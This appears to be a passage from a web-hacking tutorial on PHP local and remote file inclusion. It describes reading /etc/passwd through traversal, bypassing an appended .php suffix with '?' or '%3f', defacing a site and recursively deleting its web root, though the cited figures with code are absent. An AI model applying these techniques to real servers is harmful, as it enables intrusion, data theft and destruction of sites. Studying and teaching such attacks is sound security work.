In this example, we will be using a locally controlled server that has a vulnerable script on it; as well as our web location with scripts to perform some types of hacking.

So, we have a vulnerable web application pictured below:

Figure 1.0 vulnerable PHP application.

This web application looks like it doesn't do much except ask the user if they'd like to view the “Mailing List” or continue on to “Member Area” (not shown); we may know that the web application is vulnerable to attack when we click “Submit Query.” Figure 1.1 will show us the url utilized:

Figure 1.1 retrieving mlist (mailing list)

We see that the PHP application is grabbing the file (most likely using the include, include_once, or require, or require_once parameters). The problem with these coding tactics is that if we use this type of coding, and we do not secure it; we begin to include files we really don't want to include – effectively breaking the application logic naturally intended by the developer. We first throw a few test conditions to see if it's true:

Figure 1.2: Displaying an LFI to .htaccess

Because we have an access file, and we've included #RULES to denote the file does exist and contains rules, if the condition returns true we should see “#RULES” which we do:

Figure 1.3: Reading the .htaccess file

Now, to test to see if we really have RFI we do the following in the URL parameter:

Figure 1.4 demonstrating how we obtain a remote file “pwnage.log” from our web location.

If the condition does return true, and we are able to attack the server we should see the following warning:

Figure 1.5 Displaying our very nice message saying we can own this server, too!

Now that we know the web application is vulnerable, lets feed some information into it, the first attack will be to obtain the /etc/passwd file, and we can code this as follows:

Figure 1.6 Obtaining the /etc/passwd file

Also note that when you perform this test, it would be wise to include every escape sequence, or write a script to add up to 25 or more directory traversal functions to get to the etc passwd file, you can do this like this (you can also get creative to let it take a parameter for a number to increment to):

Figure 1.7 Showing code that will count up to 10 directory traversal methods and stop when found.

The RFI attacks are only limited as to what you can do with PHP. So, experimenting with these attacks is a key element. For the sake of curiosity – what really makes these web applications so vulnerable? The answer, the programming logic. In the previous example we've utilized a programming method which obtained the file via an include method. Figure 1.8 will demonstrate the code and explain why it's so vulnerable.

Figure 1.8 displaying vulnerable PHP source code.

The script in figure 1.8 is demonstrating a method to get a particular file (with a require element) that when the page parameters for index are changed (e.g: “mlist” or “members”) the function at isset will run a GET request to obtain the information from the form, and pull the page details, this is where the require($page); parameter is called. So when the user selects either “Member Area” or “Mailing List” the pages “mlist” and “members” are required and pulled from the server and displayed.

The problem is that the script IS NOT validating the files it should be obtaining. In essence, $page parameter (in the URL: PAGE) can have any method injected into it. Thus allowing the code logic to display the details of files on the server (or obtain files from remote servers). If this is not worse off, developers will employ this tactic shown below as a way to “secure” the code (I.E.: by calling a .php extension to the string being processed).

Figure 1.9 will display the changes and modifications to the initial script in figure 1.8:

Figure 1.9: Annexing .php to require request.

To the untrained, this string seems almost impossible to bypass as the server is insisting that it must have a .php ending annexed to it's request. However, this can be beaten. You might think, “Anthony you're crazy this can't happen.” and in fact you are wrong. Why? Because we can use escape sequences, and other characterization to defeat the script and make it strip off the request for .'php' in our URL request. For proof that this is happening and will not work (with no modifications) we must see figure 2.0:

Figure 2.0: Failing to include file due to appended .php request.

The reason why this is failing is apparent in the line: Warning. We see the require field and at the end we have hthack.log.php, notice that the php file has been added. Lets work on getting around this mishap of security.

In order to circumvent this type of attack, we'd need to append a ? at the end of our request. You can also append a %3f which is unicode for a question mark, too. Either case, this will work properly.

Another thing to take into consideration is the fact that, SUBMIT functions don't readily hide the information being processed. Thus, it is still possible to perform this attack on queries which may obtain or transfer information to other files. In the example of the JSON attacks through WebGoat, we clearly see a request being processed from the directory of: /home/hacker/hacking/WebGoat-5.2/tomcat/webapps/WebGoat/lesson_plans from here.

Web Defacement With LFI/RFI Attacks

When testing for LFI/RFI attacks it is still possible to perform a web location defacement. From the applied information you've obtained from the previous two chapters, you can see that with a PHP call to index.php you can force the web application to provide many things. 1) You can have the web location delet itself (of course with a little help) 2) deface index.php only and display an output of text and or text with a graphic.

The first method we will detail is the web defacement by replacing index.php with a “custom” index.php file. First we need to check if the web application is vulnerable to LFI/RFI if it is we issue the following set of commands:

Figure 1.0 Demonstrating an over-write of the index.php file.

Another method we can use to crash a site is to include text that will in fact delete the contents of the web dir (this is given you know where the web root is, you can write additional code to get it for you, but throwing guesses in the dark won't help either)

Issuing an exec command and performing a pwd on a remote server will tell you where you are. Writing scripts beforehand will allow you to get details and information efficiently. In essence, you should have your applications sitting on a server ready to be called with any information you may need to call. This will lessen the time wasted on penetration testing and the attack vector because you will already know where you are and what you need to do.

Assuming that the web root is in /var/www/ we will fire off the following script against the server (mind you this will make for one VERY LONG url, so doing so as part of an LFI will help you, or wget the text file, and then rename it to a PHP file on the sever and navigate to it on your own. e.g: http://www.site.com/mydeltree.php). Let's analyze the code:

Figure 1.2 A recursive delete in the /var/www/ folder (most common web root)

Although this is a very basic example, other attacks can and do become more extravagant. You are only limited by the overall security of the system, and the knowledge you possess in the programming languages provided. Don't forget that if you do need help, google and find what you are looking for in the PHP manuals.